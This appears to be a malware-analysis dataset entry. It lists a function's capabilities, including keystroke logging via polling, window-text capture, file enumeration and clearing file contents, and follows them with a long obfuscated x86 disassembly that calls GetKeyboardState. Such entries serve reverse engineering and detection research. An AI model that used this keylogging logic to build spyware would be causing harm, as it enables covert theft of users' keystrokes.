Function at 0x1002c7de
Capabilities:
Accept command line arguments
Clear file content
Connect pipe
Enumerate files on windows
Get graphical window text
Get system information on windows
Log keystrokes via polling
Query environment variable

Disassembly:
mov eax, 0x1005e092
call fcn.1005d3b0
sub esp, 0x8cc
push ebx
push esi
mov dword [ebp - 0x18], 0x9cd4431f
xor esi, esi
inc esi
mov byte [ebp - 0x6c], dl
mov dword [ebp - 0x54], esi
xor ebx, ebx
mov dword [ebp - 0x3c], 0x5943e2f7
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x24], 0x1f14
cmp dword [ebp - 0x24], 0x1fb6
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x114], ecx
jle 0x1002c88a
mov esi, ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x7dc]
and eax, esi
cdq
push edx
push eax
call fcn.1000cd20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002c851
mov eax, dword [eax]
push eax
call fcn.100480d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7dc]
call fcn.1002aa62
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x2e9f
jl 0x1002c833
inc edi
cmp edi, 0x6ba
jl 0x1002c82e
inc esi
cmp esi, 0x537a
jl 0x1002c82c
xor esi, esi
inc esi
cmp dword [ebp - 0x24], 0x1e0b
jge 0x1002c89e
push 0x10009c98
call fcn.100480d6
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x2c], 0x767dbf12
push 3
call fcn.1002a6d6
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x58], 0xa5e2b195
mov dword [ebp - 0x34], 0xe904
mov dword [ebp - 0x30], ebx
jmp 0x1002c8e1
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xac], 7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1002c8d0
push 2
mov dword [ebp - 0x30], ebx
pop edi
jmp 0x1002c900
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x130], 0xfffffffd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002c8ef
mov dword [ebp - 0x30], ebx
jmp 0x1002c91d
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1002c90a
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa4]
sub eax, 0xce3051eb
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x54]
je 0x1002c971
mov eax, esi
cmp dword [ebp - 0x54], ebx
jne 0x1002c973
mov eax, ebx
add eax, 0xf2d
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
neg eax
je 0x1002c9c7
mov eax, dword [ebp - 0xac]
xor ecx, ecx
mov eax, dword [ebp - 0xa8]
mov edx, esi
cmp eax, 0xffffffff
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x54]
jle 0x1002c9c9
mov edx, ebx
push 7
pop eax
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x44]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
xor edx, edx
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setge dl
cmp edx, dword [ebp - 0x2c]
jl 0x1002ca01
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x18], eax
jl 0x1002ca9c
mov dword [ebp - 0x38], 0x698b
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002ca3a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x634], 0x726993c4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002ca29
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], 0xc499
cmp dword [ebp - 0x18], ebx
jne 0x1002ca69
mov eax, dword [ebp - 0x12c]
mov ecx, ebx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x304]
mov dword [eax], ebx
cmp dword [ebp - 0x3c], ebx
je 0x1002ca6b
mov ecx, esi
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x130], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x64], ecx
inc dword [ebp - 0x34]
jmp 0x1002cab6
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x1002cab6
push 0x1172
push ebx
push 0x5bb
call dword [sym.imp.GDI32.dll_Polyline]
lea ecx, [ebp - 0x304]
call fcn.1002a758
mov dword [ebp - 0x28], 0xf6af1124
lea ecx, [ebp - 0x564]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], 0xe8ce6fc2
mov dword [ebp - 0x40], 0xffffffff
push esi
call fcn.1002a6d6
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], ebx
jmp 0x1002cb06
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x564]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002caf7
mov dword [ebp - 0x24], 0x732f
cmp dword [ebp - 0x24], 0x765a
jle 0x1002cb81
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
xor edx, ecx
lea ecx, [ebp - 0x704]
mov eax, edx
cdq
push edx
push eax
call fcn.1000cd20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002cb45
mov eax, dword [eax]
push eax
call fcn.100480d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x704]
call fcn.1002aa62
mov ecx, dword [ebp - 0x2c]
inc esi
cmp esi, 0x5b1a
jl 0x1002cb24
inc edi
cmp edi, 0x3702
jl 0x1002cb22
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x4f9e
jl 0x1002cb20
xor esi, esi
push 2
inc esi
pop edi
mov dword [ebp - 0x28], ebx
jmp 0x1002cc6a
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xc326874b
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x14], ebx
jmp 0x1002cbb6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c4], 0xfa75c19c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002cba5
mov dword [ebp - 0x14], ebx
jmp 0x1002cbcb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002cbc1
mov dword [ebp - 0x7c], ebx
cmp dword [ebp - 0x7c], edi
jg 0x1002cc53
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x40], 0x3ec93cc2
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x7c]
push 0
mov ecx, dword [ebp + eax*4 - 0x3c4]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x3c4]
cmp ecx, eax
mov eax, dword [ebp - 0x7c]
setle bl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x3c4]
imul ecx, eax, 0x3989
mov eax, dword [ebp - 0x7c]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, ebx
pop ebx
setg al
neg eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x34]
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], edi
jle 0x1002cbd8
mov dword [ebp - 0x3c], ebx
jmp 0x1002cc62
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x7c], esi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jl 0x1002cc58
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jne 0x1002cb89
cmp dword [ebp - 0x24], 0x7160
jge 0x1002cc87
push 0x10009cb0
call fcn.100480d6
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x564]
call fcn.1002a758
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x18], 0x7597a61e
mov dword [ebp - 0x24], 0xef7d2668
mov dword [ebp - 0x2c], 0xdd8e181f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xfffffff4
jmp 0x1002cd52
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x34], 5
cmp dword [ebp - 0x3c], ebx
je 0x1002cd35
mov ecx, dword [ebp - 0x3c]
xor eax, eax
sub ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x3c]
cmp ecx, 0x694a
setg al
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], 0xd0c1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 8
setle al
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x2c], ebx
je 0x1002cd35
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov ecx, 0x6979f9f4
sub ecx, eax
mov eax, 0xc701401c
add ecx, dword [ebp - 0x2c]
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x2e
jl 0x1002cccd
mov dword [ebp - 0x18], 0x9cd4431f
lea ecx, [ebp - 0x31c]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x3c], 0x5943e2f7
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x2c], 0x767dbf12
push 3
call fcn.1002a6d6
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x58], 0xa5e2b195
push 3
mov dword [ebp - 0x34], 0xe904
mov dword [ebp - 0x30], ebx
pop edx
jmp 0x1002cdb6
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xb8], 7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1002cda5
mov dword [ebp - 0x30], ebx
jmp 0x1002cdd1
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x104], 0xfffffffd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002cdc0
mov dword [ebp - 0x30], ebx
jmp 0x1002cdee
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x31c]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1002cddb
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb0]
sub eax, 0xce3051eb
neg eax
push 0xfffffffffffffff7
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x54]
je 0x1002ce41
mov eax, esi
cmp dword [ebp - 0x54], ebx
jne 0x1002ce43
mov eax, ebx
add eax, 0xf2d
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xb8]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
neg eax
je 0x1002ce97
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
mov eax, dword [ebp - 0xb4]
mov edx, esi
cmp eax, 0xffffffff
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x54]
jle 0x1002ce99
mov edx, ebx
push 7
pop eax
mov dword [ebp - 0x100], eax
mov ecx, dword [ebp - 0x44]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
xor edx, edx
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setge dl
cmp edx, dword [ebp - 0x2c]
jl 0x1002ced1
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x18], eax
jl 0x1002cf6c
mov dword [ebp - 0x38], 0x698b
mov dword [ebp - 0x64], 4
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002cf0a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x64c], 0x726993c4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002cef9
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], 0xc499
cmp dword [ebp - 0x18], ebx
jne 0x1002cf39
mov eax, dword [ebp - 0x100]
mov ecx, ebx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x31c]
mov dword [eax], ebx
cmp dword [ebp - 0x3c], ebx
je 0x1002cf3b
mov ecx, esi
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x104], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x58]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x64], ecx
inc dword [ebp - 0x34]
jmp 0x1002cf86
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x1002cf86
push 0x1172
push ebx
push 0x5bb
call dword [sym.imp.GDI32.dll_Polyline]
lea ecx, [ebp - 0x31c]
call fcn.1002a758
mov dword [ebp - 0x3c], 0xfffd
mov dword [ebp - 0x94], 0xffffffff
mov dword [ebp - 0x90], 0xffffffff
mov dword [ebp - 0x8c], 0xffffffff
mov dword [ebp - 0x88], 0xffffffff
dec dword [ebp - 0x3c]
mov dword [ebp - 0x3c], ebx
jmp 0x1002cfdb
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x1002cfd8
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jle 0x1002cfc8
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2ac], 0xa0e60f95
mov dword [ebp - 0x2a8], 0xa0e60f95
mov dword [ebp - 0x2a4], 0xa0e60f95
mov dword [ebp - 0x2a0], 0xa0e60f95
mov dword [ebp - 0x14], ebx
jmp 0x1002d04f
mov dword [ebp - 0x2c], 0x48708ef6
mov dword [ebp - 0x2c], 3
cmp dword [ebp - 0x2c], ebx
jl 0x1002d04c
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x3c], ebx
jmp 0x1002d041
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x2ac], 0xd29729cf
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 4
jl 0x1002d030
dec dword [ebp - 0x2c]
jns 0x1002d024
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
jg 0x1002d011
mov dword [ebp - 0x14], ebx
jmp 0x1002d06b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2ac], 0x6b16b471
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002d05a
mov dword [ebp - 0x28], 0xf6af1124
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], 0xe8ce6fc2
mov dword [ebp - 0x40], 0xffffffff
push esi
call fcn.1002a6d6
mov dword [ebp - 0x18], ebx
jmp 0x1002d0b3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4a8]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002d0a4
mov dword [ebp - 0x28], ebx
jmp 0x1002d1a1
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], 0xc326874b
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], 8
mov dword [ebp - 0x14], ebx
jmp 0x1002d0ed
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x424], 0xfa75c19c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002d0dc
mov dword [ebp - 0x14], ebx
jmp 0x1002d102
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x78], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002d0f8
mov dword [ebp - 0x78], ebx
cmp dword [ebp - 0x78], edi
jg 0x1002d18a
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x40], 0x3ec93cc2
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x78]
push 0
mov ecx, dword [ebp + eax*4 - 0x424]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0x424]
cmp ecx, eax
mov eax, dword [ebp - 0x78]
setle bl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x424]
imul ecx, eax, 0x3989
mov eax, dword [ebp - 0x78]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, ebx
pop ebx
setg al
neg eax
mov dword [ebp - 0x48], eax
dec dword [ebp - 0x34]
inc dword [ebp - 0x78]
cmp dword [ebp - 0x78], edi
jle 0x1002d10f
mov dword [ebp - 0x3c], ebx
jmp 0x1002d199
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x78], esi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jl 0x1002d18f
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jne 0x1002d0c0
lea ecx, [ebp - 0x4a8]
call fcn.1002a758
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x18], 0x7597a61e
mov dword [ebp - 0x24], 0xef7d2668
mov dword [ebp - 0x2c], 0xdd8e181f
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xfffffff4
jmp 0x1002d271
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x34], 5
cmp dword [ebp - 0x3c], ebx
je 0x1002d254
mov ecx, dword [ebp - 0x3c]
xor eax, eax
sub ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x3c]
cmp ecx, 0x694a
setg al
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], 0xd0c1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 8
setle al
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x2c], ebx
je 0x1002d254
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov ecx, 0x6979f9f4
sub ecx, eax
mov eax, 0xc701401c
add ecx, dword [ebp - 0x2c]
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x2e
jl 0x1002d1ec
mov dword [ebp - 0x18], 0x9cd4431f
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002d29b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5a4], 0xfffffff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002d28a
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], ebx
jmp 0x1002d2cb
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x5a4], ebx
jne 0x1002d2d0
mov byte [ebp - 0x1a], bl
cmp byte [ebp - 0x1a], 0
je 0x1002d2c8
push 0x74d
call dword [sym.imp.USER32.dll_GetKeyboardType]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jle 0x1002d2a8
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x28], 0x5943e2f7
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0x1df8
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x14], ebx
jmp 0x1002d304
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x224], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002d2f3
mov dword [ebp - 0x14], ebx
jmp 0x1002d31f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x56c], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002d30e
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2c]
jge 0x1002d341
mov eax, dword [ebp - 0x24]
mov ecx, esi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x224], eax
test eax, eax
jne 0x1002d343
mov ecx, ebx
xor eax, eax
cmp ecx, 0x26d
push 4
setne al
xor ecx, ecx
cmp eax, 5
setne cl
sub ecx, 8
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x34], ecx
imul ecx, dword [ebp - 0x34], 7
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
lea ecx, [ebp - 0x2e0]
setne dl
mov dword [ebp - 0x56c], edx
mov dword [ebp - 0x24], 0x767dbf12
call fcn.1002a6d6
mov dword [ebp - 4], 5
mov dword [ebp - 0x44], 0x5252cb13
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], 0xb65ab4d2
mov dword [ebp - 0x40], 7
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], 0x4353ea3
mov dword [ebp - 0x58], 9
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 6
push edi
call fcn.1002a6d6
push 6
pop ecx
push 4
mov byte [ebp - 4], cl
mov dword [ebp - 0x30], ebx
pop edx
jmp 0x1002d3f9
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2e0]
mov dword [eax + ecx*4], 0x3342
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1002d3e6
mov dword [ebp - 0x30], ebx
jmp 0x1002d414
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5c4], 0xfffffff7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1002d403
mov dword [ebp - 0x30], ebx
jmp 0x1002d431
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3dc]
mov dword [eax + ecx*4], 3
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1002d41e
mov dword [ebp - 0x44], ebx
jmp 0x1002d57b
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x2c], 0xffffffff
push 3
call fcn.1002a6d6
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x34], 0x2cd0ab83
push esi
call fcn.1002a6d6
mov dword [ebp - 0x14], ebx
jmp 0x1002d484
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1a8]
mov dword [eax + ecx*4], 0xf66b17b7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002d471
mov dword [ebp - 0x14], ebx
jmp 0x1002d4a2
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x334]
mov dword [eax + ecx*4], 0xdd038c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002d48f
cmp dword [ebp - 0x44], ebx
je 0x1002d4af
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x2e0]
setl dl
cmp edx, dword [eax]
jl 0x1002d4d0
cmp dword [eax + 8], ebx
mov eax, ebx
je 0x1002d4d2
mov eax, esi
imul eax, eax, 0xfffffffc
cmp eax, esi
mov eax, dword [ebp - 0x1a8]
sbb ecx, ecx
inc ecx
cmp dword [ebp - 0x3c], 0xb89b
mov dword [eax], ecx
jle 0x1002d554
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3dc]
dec dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x5c0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x3c], ebx
je 0x1002d534
mov eax, dword [ebp - 0x1a8]
cmp dword [eax], ebx
jne 0x1002d534
mov edx, ebx
cmp dword [ebp - 0x48], ebx
je 0x1002d536
mov edx, esi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x673c
mov ecx, esi
setne al
cmp eax, 0xd9ba
je 0x1002d556
mov ecx, ebx
mov eax, dword [ebp - 0x334]
mov dword [eax], ecx
lea ecx, [ebp - 0x334]
call fcn.1002a758
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 6
call fcn.1002a758
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jle 0x1002d43e
mov ecx, dword [ebp - 0x58]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
lea ecx, [ebp - 0x3dc]
setg dl
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 0xfffffff9
sbb eax, eax
inc eax
add eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x58], eax
call fcn.1002a758
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2e0]
call fcn.1002a758
push 3
lea ecx, [ebp - 0x364]
call fcn.1002a6d6
push edi
lea ecx, [ebp - 0x578]
mov dword [ebp - 4], 8
call fcn.1002a6d6
mov byte [ebp - 4], 9
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x34], 0x2ad
cmp dword [ebp - 0x34], 0x4a5
jle 0x1002d62d
mov esi, ebx
mov edi, esi
mov ebx, 0x124
mov eax, edi
mov ecx, 0x10606538
cdq
push edx
push eax
call fcn.1002a5c1
dec edi
dec ebx
jne 0x1002d5ff
